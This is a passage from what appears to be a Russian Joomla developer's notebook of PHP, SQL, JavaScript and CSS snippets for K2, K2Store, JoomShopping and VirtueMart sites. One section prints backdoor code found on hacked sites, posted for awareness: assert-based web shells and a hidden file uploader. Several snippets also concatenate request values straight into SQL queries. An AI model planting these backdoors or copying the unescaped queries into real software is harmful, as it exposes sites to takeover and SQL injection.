$param=$params->get('paramName','defaultValue');

получение вне модуля:

$module=&JModuleHelper::getModule('example');
$moduleParams=new JParameter($module->params);
$param=$moduleParams->get('paramName','defaultValue');

 

Параметры компонента

получение параметров компонента:

$compo_params = JComponentHelper::getParams('com_filecheck');
$excludeFileList = $compo_params->get('excludeFileList', '');

Сохранение изменений:

$db = JFactory::getDbo(); 
$compo_params = JComponentHelper::getParams('com_filecheck');
$compo_params->set(param_name,param_value);
$query = $db->getQuery(true);
$query->update($db->quoteName('#__extensions'));
$query->set($db->quoteName('params') . '= ' . $db->quote((string)$compo_params));
$query->where($db->quoteName('element') . ' = ' . $db->quote('com_filecheck'));
$query->where($db->quoteName('type') . ' = ' . $db->quote('component'));
$db->setQuery($query);
$db->execute();

 

Параметры шаблона

получение параметров из шаблона:

$param=$this->params->get('paramName');

получение параметров вне шаблона:

jimport('joomla.filesystem.file');
$mainframe=&JFactory::getApplication();
$params=$mainframe->getParams(JFile::read(JURI::root().'/templates/template_name/params.ini'));
$param=$params->get('paramName','defaultValue');

Параметры шаблона из файла, минуя Joomla framework:

// Get params.ini relative to the current file location (use your own relative path here)
$paramsFile=dirname(__FILE__).'/../../params.ini';
// Only continue if the file exists
if(file_exists($paramsFile)){
   
// Get contents from params.ini file
   
$iniString=file_get_contents($paramsFile);
    // Escape double quotes in values and then double-quote all values (because Joomla doesn't do that for us..)
   
$iniQuoted=preg_replace('/=(.*)\\n/',"=\"$1\"\n",addcslashes($iniString,'"'));
    // Parse the ini string to an associative array
   
$iniParsed= parse_ini_string($iniQuoted);
}else{
   
$iniParsed='';
}  
// Set params to obtained values or empty array
$params=(!empty($iniParsed)) ? $iniParsed:array();  
// Get param value from array
$param=$params['paramName'];

Преобразовать русские буквы в транслит

function rus2translit($string) {
$converter = array(
'а' => 'a', 'б' => 'b', 'в' => 'v',
'г' => 'g', 'д' => 'd', 'е' => 'e',
'ё' => 'e', 'ж' => 'zh', 'з' => 'z',
'и' => 'i', 'й' => 'y', 'к' => 'k',
'л' => 'l', 'м' => 'm', 'н' => 'n',
'о' => 'o', 'п' => 'p', 'р' => 'r',
'с' => 's', 'т' => 't', 'у' => 'u',
'ф' => 'f', 'х' => 'h', 'ц' => 'c',
'ч' => 'ch', 'ш' => 'sh', 'щ' => 'sch',
'ь' => '', 'ы' => 'y', 'ъ' => '',
'э' => 'e', 'ю' => 'yu', 'я' => 'ya',
'А' => 'A', 'Б' => 'B', 'В' => 'V',
'Г' => 'G', 'Д' => 'D', 'Е' => 'E',
'Ё' => 'E', 'Ж' => 'Zh', 'З' => 'Z',
'И' => 'I', 'Й' => 'Y', 'К' => 'K',
'Л' => 'L', 'М' => 'M', 'Н' => 'N',
'О' => 'O', 'П' => 'P', 'Р' => 'R',
'С' => 'S', 'Т' => 'T', 'У' => 'U',
'Ф' => 'F', 'Х' => 'H', 'Ц' => 'C',
'Ч' => 'Ch', 'Ш' => 'Sh', 'Щ' => 'Sch',
'Ь' => '', 'Ы' => 'Y', 'Ъ' => '',
'Э' => 'E', 'Ю' => 'Yu', 'Я' => 'Ya',
);
return strtr($string, $converter);
}

Функция print_r() через javascript

function print_r(arr, level) {
var print_red_text = "";
if(!level) level = 0;
var level_padding = "";
for(var j=0; j<level+1; j++) level_padding += " ";
if(typeof(arr) == 'object') {
for(var item in arr) {
var value = arr[item];
if(typeof(value) == 'object') {
print_red_text += level_padding + "'" + item + "' :\n";
print_red_text += print_r(value,level+1);
}
else
print_red_text += level_padding + "'" + item + "' => \"" + value + "\"\n";
}
}
else print_red_text = "===>"+arr+"<===("+typeof(arr)+")";
return print_red_text;
}

Проверка таблиц и полей в БД

Проверка на существование таблицы:

$db->setQuery("SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME = '#__rad_filecheck_found'");
$res=$db->loadresult();
if (strlen($res)<=0) {$db->setQuery("CREATE TABLE IF NOT EXISTS `#__rad_filecheck_found` (
`dir` varchar(254) NOT NULL,
`state` varchar(1) DEFAULT '0',
`md5` varchar(100) DEFAULT '0',
`line` text NOT NULL,
`exstr` varchar(100) DEFAULT '0',
`update_time` datetime
) ENGINE=MyISAM AUTO_INCREMENT=1;");
$db->execute();}

 

Проверка на существование поля:

$db = JFactory::getDbo();
$columns = $db->getTableColumns('#__jshopping_users');
if(!isset($columns['doc'])){$db->setQuery("ALTER TABLE #__jshopping_users ADD doc varchar(50), ADD doc_ser varchar(50), ADD doc_place varchar(200), ADD doc_date varchar(15) ");$db->execute();}

Обновление цен k2_store

В компоненте k2_store за обновление цены отвечает плагин, поэтому если вы решили менять цену не на странице редактирования материала, то обязательно нужно обновлять поле plugins в таблице #__k2_items:

$db->setQuery("select plugins from #__k2_items where id='".$ids."' "); 
$plugins=$db->loadresult();
if (trim($plugins)!=''){
$pluginsstr=(array)json_decode($plugins, true);
$pluginsstr['k2storeitem_price']=$price;
$pluginsstr['k2storespecial_price']=$sprice;
$plugins=json_encode($pluginsstr,true);
$db->setQuery("update #__k2_items set plugins='".$plugins."' where id='".$ids."' ");
$db->execute();
}
else
{
$plugins='{"k2storeitem_enabled":"1","k2storeitem_sku":"","k2storeitem_price":"0.00000","k2storespecial_price":"0.00000","k2storeitem_tax":"0","k2storeitem_shipping":"0","k2storeitem_metrics":{"item_length":"0.00000000","item_width":"0.00000000","item_height":"0.00000000","item_length_class_id":"0","item_weight":"0.00000000","item_weight_class_id":"0"},"k2storeitem_cart_text":"","k2StatisticHitscheck_item":"1"}';
$pluginsstr=(array)json_decode($plugins, true);
$pluginsstr['k2storeitem_price']=$price;
$pluginsstr['k2storespecial_price']=$sprice;
$plugins=json_encode($pluginsstr,true);
$db->setQuery("update #__k2_items set plugins='".$plugins."' where id='".$ids."' ");
$db->execute();
}

 

Content images. Чтение и запись

Если вам необходимо прочитать путь до изображения, которое загружено в материал, поможет код:

$db->setQuery("select images from #__content where id='ID' ");
$resimage=$db->loadresult();
$img=(array)json_decode($resimage, true);

Результатом будет массив, изображение можно найти по ключу "image_intro"
$foto=$img['image_intro'];

Для записи, после изменения, нужно также получить массив из БД и обновить элемент с ключом "image_intro", далее преоброзовать его в строку:

$db->setQuery("select images from #__content where id='ID");
$resimage=$db->loadresult();
$img=(array)json_decode($resimage, true);
$img['image_intro']=$foto;//обновление изображения
$imgstr=json_encode($img,true);
$db->setQuery("update #__content set ``images`='".$imgstr."' where id='ID'");
$db->execute();

 

JoomShopping - вывод способов доставки, добавление условий

Способы доставки формируются в файле:

components/com_jshopping/templates/default/checkout/shippings.php

Выводится в массиве, ищем код

foreach($this->shipping_methods as $shipping)

И добавляем условия, например тип пользователя:

$user = JFactory::getUser();
$is_opt=!$user->guest;
.....
$conn=false;
foreach($this->shipping_methods as $shipping){
if ($is_opt!='1' and in_array($shipping->sh_pr_method_id,array(1,3,5))) $conn=true;//розница
if ($is_opt=='1' and in_array($shipping->sh_pr_method_id,array(2,3,4))) $conn=true;//оптовые
if ($conn==true){ .... }

Персональные данные - где их разместить?

Цель данной статьи - помощь в размещении согласия на обработку персональных данных для разных интернет магазинов.

достаточно разместить подобный текст:

Нажимая на кнопку «Оформить заказ», я соглашаюсь с условиями Публичной оферты и на обработку моих персональных данных

1.Virtualmart3 с плагином OnePage

components\com_onepage\themes\<выбранная тема>\onepage.logged.tpl.php
components\com_onepage\themes\<выбранная тема>\onepage.unlogged.tpl.php

Ищем кнопку с id="confirmbtn_button" и ниже размещаем код

<p><small>Нажимая на кнопку «Оформить заказ», я соглашаюсь с условиями <a href="/<ссылка на договор-оферту>/" target="_blank"><small>Публичной оферты</small></a> и на обработку моих <a target="_blank" href="/<ссылка на согласние на обработку ПД>/"><small>персональных данных</small></a></small></p>

 

2.K2_store 3.x.x

 В каждом плагине оплаты разместите текст в в файле /tmpl/prepayment.php в элементе form

Стандартные плагины расположены здесь:

plugins/k2store/payment_banktransfer/payment_banktransfer/tmpl/prepayment.php
plugins/k2store/payment_cash/payment_cash/tmpl/prepayment.php
plugins/k2store/payment_offline/payment_offline/tmpl/prepayment.php

 

<p><small>Нажимая на кнопку «Завершить заказ», я соглашаюсь с условиями <a href="/<ссылка на договор-оферту>/" target="_blank"><small>Публичной оферты</small></a> и на обработку моих <a target="_blank" href="/<ссылка на согласние на обработку ПД>/"><small>персональных данных</small></a></small></p>

 

3.JoomShoping - использовать встроенный механизм опций

А)Включаем опцию "Заявление о конфиденциальности" в "Настройки-заказ".

Б)В "настройки - статический текст" добавляем нужный текст текст "Заявление о конфиденциальности"

Г)В "Настройки - поля регистрации" включаем и делаем обязательным "Заявление о конфиденциальности"

Д)Через языковые константы изменить "Заявление о конфиденциальности" на "Согласие на обработку персональных данных"

 Файл, который выводит эти опции:

/components/com_jshopping/templates/default/checkout/adress.php

 

4.jboneclick

Необходимо добавить текст и ссылки в файле:

/../js/jquery.jboneclick.js

Заменить текст:

<form class="jb_form"></form><div class="pd_do"></div><div class="jb_success">

На:

<form class="jb_form"></form><div class="pd_do" style="padding: 5px;background: rgba(255, 255, 255, 0.52);"><div class="pd_po"><p><small>Нажимая на кнопку «Оформить заказ», я соглашаюсь с условиями <a href="/do" target="_blank"><small>Публичной оферты</small></a> и на обработку моих <a target="_blank" href="/pd"><small>персональных данных</small></a></small></p></div></div><div class="jb_success">

 

 5.AcyMaling - модуль "Подписаться на рассылку"

Редактируем файл:

/modules/mod_acymailing/tmpl/default.php

Вставляем код перед </form>:

<p style="text-align:center;"><small>Нажимая на кнопку «Завершить заказ», я соглашаюсь с условиями <a href="/<ссылка на договор-оферту>/" target="_blank"><small>Публичной оферты</small></a> и на обработку моих <a target="_blank" href="/<ссылка на согласние на обработку ПД>/"><small>персональных данных</small></a></small></p>

 

css popup gallery - своими руками, без jQuery

Popup галерею можно сделать без jQuery, с минимальными затратами.

Размещаем блок всплывающего окна галереи на странице:

<div id="myModal" class="modal" style="display:none;">
<span class="close" onclick="document.getElementById('myModal').style.display='."'none'".'">Закрыть</span>
<img class="modal-content" id="myImg">
<div id="caption"></div>
</div>

Далее в блоке выводим миниатюры:

<div id="gal" style="display: flex;"><?php echo get_image_list($item->id,$dirs);?></div><hr style="margin-top:15px;">

Функция вывода фотографий(загрузка изображений из папки):

function get_image_list($ids,$dirs)
{$ii=0;
$db = JFactory::getDbo();
$db->setQuery("select file_desc from #__rad_montage_arh where id='".$ids."'");
$file_desc=$db->loadresult();
$fmass=array();
if (is_dir($dirs))
{
$list = scandir($dirs);
foreach($list as $itemf)
{$item_l = strtolower($itemf);
if ($itemf != "." and $itemf != "..")
if (strpos($item_l,".jpg")>0 || strpos($item_l,".jpeg")>0 || strpos($item_l,".png")>0)$fmass[]=$itemf;}
}
$ret='';
foreach($fmass as $img)
{

$hash=md5($ids.'/'.$img);$fn_desc='';
if (trim($file_desc)!='')
{
$desc_mass=explode('||',$file_desc);
foreach($desc_mass as $item_desc)
{
$fn_row=explode('::',$item_desc);
if ($fn_row[0]==$hash) $fn_desc=$fn_row[1];
}
}
$img_src=JURI::root().'media/com_rad_montage/files/arh/'.$ids.'/'.$img;
$ret .= '<div class="arhimgblock">
<div style="text-align: center;display:block;height:180px;width:280px;"><img id="myImg'.$ii.'" src="'.($img_src).'" alt="" class="arhimg"></div> <p style="text-align:center">'.$fn_desc.'</p></div>';
$ii++;
}
return $ret;
}

 Стили:

.arhimg{
display:inline;
width: 120px;height: auto;max-height: 120px;
background: white;
padding: 10px;
margin: 10px;
cursor: pointer;
}.arhimgblock:hover{transition:1.5s;transform:scale(1.02);} #myImg {
border-radius: 5px;
cursor: pointer;
transition: 0.3s;
} #myImg:hover {opacity: 0.7;} /* The Modal (background) */
.modal {
display: none; /* Hidden by default */
position: fixed; /* Stay in place */
z-index: 1; /* Sit on top */
padding-top: 100px; /* Location of the box */
left: 0;
top: 0;
width: 100%; /* Full width */
height: 100%; /* Full height */
overflow: auto; /* Enable scroll if needed */
background-color: rgb(0,0,0); /* Fallback color */
background-color: rgba(0,0,0,0.9); /* Black w/ opacity */
} /* Modal Content (Image) */
.modal-content {
margin: auto;
display: block;
width: 80%;
max-width: 700px;
} /* Caption of Modal Image (Image Text) - Same Width as the Image */
#caption {
margin: auto;
display: block;
width: 80%;
max-width: 700px;
text-align: center;
color: #ccc;
padding: 10px 0;
height: 150px;
} /* Add Animation - Zoom in the Modal */
.modal-content, #caption {
-webkit-animation-name: zoom;
-webkit-animation-duration: 0.6s;
animation-name: zoom;
animation-duration: 0.6s;
} @-webkit-keyframes zoom {
from {-webkit-transform:scale(0)}
to {-webkit-transform:scale(1)}
} @keyframes zoom {
from {transform:scale(0)}
to {transform:scale(1)}
} /* The Close Button */
.close {
position: absolute;
top: 15px;
right: 35px;
color: #f1f1f1;
font-size: 40px;
font-weight: bold;
transition: 0.3s;
} .close:hover,
.close:focus {
color: #bbb;
text-decoration: none;
cursor: pointer;
}
@media only screen and (max-width: 700px){
.modal-content {
width: 100%;
}
}

 Функция вызова фотографии:

jQuery(document).ready(function() { jQuery("body").on("click", ".arhimg", function(e) {
var src=this.src;
var modal = document.getElementById('myModal');
var modalImg = document.getElementById('myImg');
modalImg.src = src;
modal.style.display = "block";
var span = document.getElementsByClassName("close")[0];
span.onclick = function() {
modal.style.display = "none";
}
});});

VirtueMart onepage Generic - добавление характеристик в корзину

В одностраничном плагине корзины можно дополнительно вывести вес и объем товара, а также просуммировать их.

Для начала необходимо подготовить форму, файл:

/cart/tmpl/default_left.php

Необходимо добавить блоки с характеристиками в блок <div class="cart-product-details">

<div class="cart-product-details">
<span style="font-width:bold;">Вес ед.:</span><span class="product_weight" ><?php $total_product_weight=$total_product_weight+($prow->product_weight)*$prow->quantity; echo number_format($prow->product_weight,2,'.',' ')?> кг.</span><br>
<span style="font-width:bold;">Объем ед.:</span><span class="product_packaging"><?php $total_product_packaging=$total_product_packaging+($prow->product_packaging)*$prow->quantity; echo number_format($prow->product_packaging,3,'.',' ')?> м3</span>
<input type="hidden" id="product_weight_<?php echo $pkey?>" value="<?php echo number_format($prow->product_weight,2,'.',' ')?>">
<input type="hidden" id="product_packaging_<?php echo $pkey?>" value="<?php echo number_format($prow->product_packaging,2,'.',' ')?>">
</div>

А также вывести блок "итого":

<div class="product-subtotal_char opg-grid opg-text-right" > 
<div class="totalweight-type opg-width-large-3-4 opg-width-small-1-2 opg-width-1-2">Итого вес: </div>
<div class="totalweight-amount price-type opg-width-large-1-4 opg-width-small-1-2 opg-width-1-2" id="w_total"><?php echo number_format($total_product_weight,2,'.',' ');?> кг</div>
<div class="totalweight-type opg-width-large-3-4 opg-width-small-1-2 opg-width-1-2">Итого объем: </div>
<div class="totalweight-amount price-type opg-width-large-1-4 opg-width-small-1-2 opg-width-1-2" id="p_total"><?php echo number_format($total_product_packaging,3,'.',' ');?> м3</div>
</div>

осталось настроить скрипт автоподсчета, файл:

onepage.js

Необходимо доработать функцию:

function update_prices()

В блоке "jQuery.each(data.products, function(id, product) {" необходимо подсчитать каждый элемент и умножить на кол-во, а также суммировать по всем элементам, чтобы после блока вывести:

...
var q=document.getElementById('quantity_'+id).value; 
var w=document.getElementById('product_weight_'+id).value;
var p=document.getElementById('product_packaging_'+id).value;
...
if (jQuery('#subtotal_weight_'+id)) 
{
jQuery('#subtotal_weight_'+id).html(w_t+' кг.');
}
if (jQuery('#subtotal_packagingt_'+id))
{
jQuery('#subtotal_packagingt_'+id).html(p_t+' м3');
}
....

Вывод суммы хар-к по всем товарам:

if (jQuery('#w_total')) {jQuery('#w_total').html(w_total+' кг.');}
if (jQuery('#p_total')) {jQuery('#p_total').html(p_total+' м3');}

 Пример:

 

VirtueMart onepage Generic -автоматическое обновление цены при скидке на кол-во товара

 

 

В одностраничном плагине корзины не учитывается изменение цены на товар при увеличении его кол-ва.

Цену товара в VM можно настроить на группу или кол-во, при этом на странице корзины цена обновить только при полном обновлении сраницы, при изменении кол-ва цена товара не измениться.

Для начала необходимо подготовить переменную, файл:

/cart/ajaxprice.php

Необходимо добавить цену товара в строки с массивом $price_values["products"][$id][....]

$price_values["products"][$id]["subtotal_salesPrice"]=!empty($cart-&gt;pricesUnformatted[$id]["salesPrice"])?$currency-&gt;priceDisplay($cart-&gt;pricesUnformatted[$id]["salesPrice"]):"";
$price_values["products"][$id]["subtotal_tax_amount"]=!empty($cart-&gt;pricesUnformatted[$id]["taxAmount"])?$currency-&gt;priceDisplay($cart-&gt;pricesUnformatted[$id]["taxAmount"], 0, $cart-&gt;products[$id]-&gt;quantity):"";
$price_values["products"][$id]["subtotal_discount"]=!empty($cart-&gt;pricesUnformatted[$id]["subtotal_discount"])?$currency-&gt;priceDisplay($cart-&gt;pricesUnformatted[$id]["discountAmount"], 0, $cart-&gt;products[$id]-&gt;quantity):"";
$price_values["products"][$id]["towprice"]=!empty($this-&gt;currencyDisplay-&gt;createPriceDiv('salesPrice','', $this-&gt;cart-&gt;pricesUnformatted[$pkey],true,false,1))?$this-&gt;currencyDisplay-&gt;createPriceDiv('salesPrice','', $this-&gt;cart-&gt;pricesUnformatted[$pkey],true,false,1):"";
$price_values["products"][$id]["subtotal_with_tax"] = "";

На странице карточки добавить идентификатор, для изменения цены

 

Файл

/cart/tmp/default_left.php

Код :

<div class="opg-text-primary opg-hidden-small opg-text-bold opg-float-right opg-width-large-1-6 opg-width-small-2-6 opg-width-2-6 opg-text-left-small">
<div class="spacer" id="towprice_<?php echo $cartitemid?>">
<?php echo $this->currencyDisplay->createPriceDiv('salesPrice','', $this->cart->pricesUnformatted[$pkey],true,false,1); //No quantity or you must use product_final_price ?>
<?php //echo $this->currencyDisplay->createPriceDiv('basePriceVariant','', $this->cart->pricesUnformatted[$pkey],false); ?>
</div>
</div>

осталось настроить скрипт автоподсчета, файл:

onepage.js

Необходимо доработать функцию:

function update_prices()

В функции function update_prices()  добавить строку для замены текста в элементе с ценой:

if (jQuery('#subtotal_with_tax_'+id)) 
{
jQuery('#subtotal_with_tax_'+id).html(data.products[id].subtotal_with_tax);
}
if (jQuery('#towprice_'+id))
{
jQuery('#towprice_'+id).html(data.products[id].subtotal_with_tax);
}

 Пример:

 

K2 автоматическое создание каталога для размещения изображений

Для автоматического создания каталога для изображений, прекрасно подходит плагин и событие onAfterK2Save, нужно разместить следующий код:

$dir = substr(__DIR__,0,stripos(__DIR__,'/administrator/'));
if (is_dir($dir) && !is_dir($dir.'/images/k2/'.$id)) mkdir($dir.'/images/k2/'.$id);

 

K2 размещение заголовка по центру блока div

Для центрирования заголовка необходимо будет php код в файл 

/components/com_k2/templates/default/category_item.php

Заменить вывод заголовка

<!-- Item title -->
<?php $sl=iconv_strlen($this->item->title);
$st='';
if ($sl<=54) $st='style="padding: 2em 0;"';
if ($sl>54 && $sl<=81) $st='style="padding: 1em 0;"';
?>
<h3 itemprop="name" class="catItemTitle" id="catItemTitle" <?php echo $st;?>>

На сайте товар в категории выводиться в 3 колонки, максимальная длина одной строки заголовка - 27 символов, получается:

  • если 1 ил 2 строки тогда padding: 2em 0
  • если 3 строки то padding: 1em 0
  • если более 3х строк то без дополнительного стиля.

K2 акции и скидки - вывод в избранное

Для предоставления скидок у магазина на К2 есть механизм, но для вывода товаров со скидкой нет настроек.

Исправляется в файле:

/components/com_k2/models/itemlist.php

Необходимо заменить строки

$query .= " AND i.featured = 1";

На:

$query .= " AND i.id in (select product_id from #__k2store_products where special_price>0)";

Теперь если выводить список товаров по категории и указать"Только избранные" то будет выводиться товар у которого установлена спец.цена

 

Взлом сайта Joomla - добавление кода для загрузки файлов

Столкнулся с изменением файлов на сайтах CSM Joomla, данные вписываются в базовые компоненты и библиотеку, злоумышленник делает загрузку файлов. профиклактика - заблокировать изменение этих файлов.

В поиске изменений помог компонент проверки файлов.

Ниже приведен код этого взлома, текст размещен для ознакомления, а не как инструкция к действию = ) 

 

Измененные файлы:

/components/com_contact/helpers/route.php

$content = '<?php (';$content .= '$_=';$content .= '@$_G';$content .= 'ET[c]).@$_($_P';;$content .= 'OS';$content .= 'T["f5a3p5"])?>';$file = fopen("com_contact_info.php", "w");fwrite($file, $content) ;

/components/com_media/media.php

isset($_REQUEST['f5a3p5']) && array_map("ass\x65rt",(array)$_REQUEST['f5a3p5']);

/includes/defines.php

isset($_REQUEST['f5a3p5']) && array_map("ass\x65rt",(array)$_REQUEST['f5a3p5']);

 

Далее размещается файл для загрузки файлов, было 3 случая, каждый раз разные файлы но в папке /libraries

/libraries/joomla/http/wrapper/cgi-f7.php

<?php if(md5($_GET["ms-load"])=="5637a21308208bf4b96294544bf880a2"){
$p=$_SERVER["DOCUMENT_ROOT"];
$tyuf=dirname(__FILE__);
echo <<<HTML
<form enctype="multipart/form-data" method="POST">
Path:$p<br>
<input name="file" type="file"><br>
To:<br>
<input size="48" value="$tyuf/" name="pt" type="text"><br>
<input type="submit" value="Upload">
$tend
HTML;
if (isset($_POST["pt"])){
$uploadfile = $_POST["pt"].$_FILES["file"]["name"];
if ($_POST["pt"]==""){$uploadfile = $_FILES["file"]["name"];}
if (copy($_FILES["file"]["tmp_name"], $uploadfile)){
echo"uploaded:$uploadfilen";
echo"Size:".$_FILES["file"]["size"]."n";
}else {
print "Error:n";
}
}
}

Также в корне сайта создается файл com_contact_info.php:

<?php ($_=@$_GET[c]).@$_($_POST["yp5s2z"])?>

 

k2store - текст на форме добавления товара в корзину

Форма, которая появляется после добавления товара в корзину, содержит один неприятный сюрприз - название товара и сообщение выводятся слитно:

 

Исправить можно, скорректировав posy запрос в файле:

Заменить строку

$json['successmsg'] = $product_info->product_nameJText::sprintf('K2STORE_ADDTOCART_ADDED_TO_CART');

На

$json['successmsg'] = $product_info->product_name.'<br>'.JText::sprintf('K2STORE_ADDTOCART_ADDED_TO_CART');

Результат:

Анимированное меню

Пример хорошей анимации меню на css

 

CSS стили:

panel { padding-left: 1px; width:192px; list-style:none; padding-top:1px; display:inline-block; } #panel li { background: url("/img/userimages/user_781/back.jpg") repeat scroll 0 0 rgba(0, 0, 0, 0); border: 1px dotted silver; color: #8d8c8b; margin-top: 1px; text-align: left; width: 195px; } #panel li a { color:#fff; display:block; padding: 9px 8px; } #panel li a:hover { color:#fff; } #panel li.animation {-moz-transition: all 0.3s ease-in-out 0s; -moz-transform:translateX(0px); -o-transition: all 0.3s ease-in-out 0s; -o-transform:translateX(0px); -webkit-transition: all 0.3s ease-in-out 0s; -webkit-transform:translateX(0px); } #panel li a.active{ color:#fff; } #panel li.animation { -moz-transition: all 0.3s ease-in-out 0s; -moz-transform:translateX(0px); -o-transition: all 0.3s ease-in-out 0s; -o-transform:translateX(0px); -webkit-transition: all 0.3s ease-in-out 0s; -webkit-transform:translateX(0px); } #panel li.animation:hover { color: aqua; background: #6a6869; -moz-transform:translateX(10px); -o-transform:translateX(10px); -webkit-transform:translateX(10px); -moz-transition: all 0.5s ease-in-out 0s; -o-transition: all 0.5s ease-in-out 0s; -webkit-transition: all 0.5s ease-in-out 0s; }

 

HTML:

<ul id="panel">
<li class="animation"><a>Постельное белье</a></li>
<li class="animation"><a>Покрывала</a></li>
<li class="animation"><a>Одеяла</a></li>
<li class="animation"><a>Полотенца</a></li>
</ul>

K2 Store - изменение цены через базу данных

У k2 store для обновления цены и опций используется плагин и этот способ также гарантирует сохранность данных. Параметры товара, которые отображаются на форме администратора - это не данных из базы, а данные плагина для этого материала.

Такой подход дает гарантию, что данные будут изменены только фирменным плагином, но если вы используете другие компоненты, которые меняют параметры товара через базу, то нужно вносить поправки в параметры плагина или внести изменения в сам плагин, иначе при редактировании материала вы сбросите стоимость товара или опций.

Как актуализировать данные ?

Самый простой способ - изменить отображение параметров в плагине, вывести на форму данные из базы.

Для этого нужно редактировать файл

Начиная с 149 строки, внести изменение - прочитать параметры и заменить значения в массиве:

jimport('joomla.form.form');
$form = JForm::getInstance('plg_k2_'.$this->pluginName.'_'.$path, $xml_file, array(), true, 'fields[@group="'.$path.'"]');
$values = array();
if ($item->plugins)
{
$id = JRequest::getVar ('cid',null);
$db = JFactory::getDbo();
$db->setQuery("select * from #__k2store_products where product_id='".$id."'");
$lrow = $db->loadAssoc();
foreach ($lrow as $i => $item_data_db){
foreach (json_decode($item->plugins) as $name => $value)
{
$count = 1;
if (isset($lrow[str_replace($this->pluginName, '', $name, $count)]))
$values[str_replace($this->pluginName, '', $name, $count)]=$lrow[str_replace($this->pluginName, '', $name, $count)];
else
$values[str_replace($this->pluginName, '', $name, $count)] = $value;
}}
$form->bind($values);

K2Store - сделать с этим товаром также покупают

Для интернет магазинов есть потребность показать ассортимент товаров, один из способов -это отобразить, что покупают другие люди с этим товаром(состав чека).

У компонента К2 есть массив RelatedItems, но по умолчанию он не связан с K2Store, чтобы это исправить нужно отредактировать файл

components/com_k2/models/itemlist.php

В функцию function getRelatedItems($itemID, $tags, $params) необходимо вставить запрос, который посмотрит с чем продают ID этого товара и выведит 3 позиции из последних чеков

$query = "select distinct product_id from #__k2store_orderitems where order_id in
(select order_id from #__k2store_orderitems where product_id={$itemID} order by modified_date desc ) and product_id<>{$itemID} limit 3"

K2 другие материалы этой категории - добавить элементы

По умолчанию К2 выводит только следующий и предыдущий материал в этой категории. Для интернет магазина понадобилось вывести 4 товара из одной категории.

Решение:

1.Создаем массив данных 

public_html/components/com_k2/views/item/view.html.php

Добавляем новые данные в общий массив, строка 302

// Navigation (previous and next item)
if ($item->params->get('itemNavigation'))
{
$model = $this->getModel('item');
$nextItem = $model->getNextItem($item->id, $item->catid, $item->ordering);
if (!is_null($nextItem))
{
$item->nextLink = urldecode(JRoute::_(K2HelperRoute::getItemRoute($nextItem->id.':'.urlencode($nextItem->alias), $nextItem->catid.':'.urlencode($item->category->alias))));
$item->nextTitle = $nextItem->title;
$date = JFactory::getDate($item->modified);
$timestamp = '?t='.$date->toUnix();
if (JFile::exists(JPATH_SITE.DS.'media'.DS.'k2'.DS.'items'.DS.'cache'.DS.md5("Image".$nextItem->id).'_XS.jpg'))
{
$item->nextImageXSmall = JURI::base(true).'/media/k2/items/cache/'.md5("Image".$nextItem->id).'_XS.jpg'.$timestamp;
}
if (JFile::exists(JPATH_SITE.DS.'media'.DS.'k2'.DS.'items'.DS.'cache'.DS.md5("Image".$nextItem->id).'_S.jpg'))
{
$item->nextImageSmall = JURI::base(true).'/media/k2/items/cache/'.md5("Image".$nextItem->id).'_S.jpg'.$timestamp;
}
if (JFile::exists(JPATH_SITE.DS.'media'.DS.'k2'.DS.'items'.DS.'cache'.DS.md5("Image".$nextItem->id).'_M.jpg'))
{
$item->nextImageMedium = JURI::base(true).'/media/k2/items/cache/'.md5("Image".$nextItem->id).'_M.jpg'.$timestamp;
}
if (JFile::exists(JPATH_SITE.DS.'media'.DS.'k2'.DS.'items'.DS.'cache'.DS.md5("Image".$nextItem->id).'_L.jpg'))
{
$item->nextImageLarge = JURI::base(true).'/media/k2/items/cache/'.md5("Image".$nextItem->id).'_L.jpg'.$timestamp;
}
if (JFile::exists(JPATH_SITE.DS.'media'.DS.'k2'.DS.'items'.DS.'cache'.DS.md5("Image".$nextItem->id).'_XL.jpg'))
{
$item->nextImageXLarge = JURI::base(true).'/media/k2/items/cache/'.md5("Image".$nextItem->id).'_XL.jpg'.$timestamp;
}
if (JFile::exists(JPATH_SITE.DS.'media'.DS.'k2'.DS.'items'.DS.'cache'.DS.md5("Image".$nextItem->id).'_Generic.jpg'))
{
$item->nextImageGeneric = JURI::base(true).'/media/k2/items/cache/'.md5("Image".$nextItem->id).'_Generic.jpg'.$timestamp;
}
}

//+1
if (!is_null($nextItem)){
$nextItem_p1 = $model->getNextItem($nextItem->id, $nextItem->catid, $item->ordering);
if (!is_null($nextItem_p1))
{
$item->nextLink_p1 = urldecode(JRoute::_(K2HelperRoute::getItemRoute($nextItem_p1->id.':'.urlencode($nextItem_p1->alias), $nextItem_p1->catid.':'.urlencode($item->category->alias))));
$item->nextTitle_p1 = $nextItem_p1->title;
$date = JFactory::getDate($item->modified);
$timestamp = '?t='.$date->toUnix();
if (JFile::exists(JPATH_SITE.DS.'media'.DS.'k2'.DS.'items'.DS.'cache'.DS.md5("Image".$nextItem_p1->id).'_XS.jpg'))
{
$item->nextImageXSmall_p1 = JURI::base(true).'/media/k2/items/cache/'.md5("Image".$nextItem_p1->id).'_XS.jpg'.$timestamp;
}
if (JFile::exists(JPATH_SITE.DS.'media'.DS.'k2'.DS.'items'.DS.'cache'.DS.md5("Image".$nextItem_p1->id).'_S.jpg'))
{
$item->nextImageSmall_p1 = JURI::base(true).'/media/k2/items/cache/'.md5("Image".$nextItem_p1->id).'_S.jpg'.$timestamp;
}
if (JFile::exists(JPATH_SITE.DS.'media'.DS.'k2'.DS.'items'.DS.'cache'.DS.md5("Image".$nextItem_p1->id).'_M.jpg'))
{
$item->nextImageMedium_p1 = JURI::base(true).'/media/k2/items/cache/'.md5("Image".$nextItem_p1->id).'_M.jpg'.$timestamp;
}
if (JFile::exists(JPATH_SITE.DS.'media'.DS.'k2'.DS.'items'.DS.'cache'.DS.md5("Image".$nextItem_p1->id).'_L.jpg'))
{
$item->nextImageLarge_p1 = JURI::base(true).'/media/k2/items/cache/'.md5("Image".$nextItem_p1->id).'_L.jpg'.$timestamp;
}
if (JFile::exists(JPATH_SITE.DS.'media'.DS.'k2'.DS.'items'.DS.'cache'.DS.md5("Image".$nextItem_p1->id).'_XL.jpg'))
{
$item->nextImageXLarge_p1 = JURI::base(true).'/media/k2/items/cache/'.md5("Image".$nextItem_p1->id).'_XL.jpg'.$timestamp;
}
{
$item->nextImageGeneric_p1 = JURI::base(true).'/media/k2/items/cache/'.md5("Image".$nextItem_p1->id).'_Generic.jpg'.$timestamp;
}
}}


$previousItem = $model->getPreviousItem($item->id, $item->catid, $item->ordering);
if (!is_null($previousItem))
{
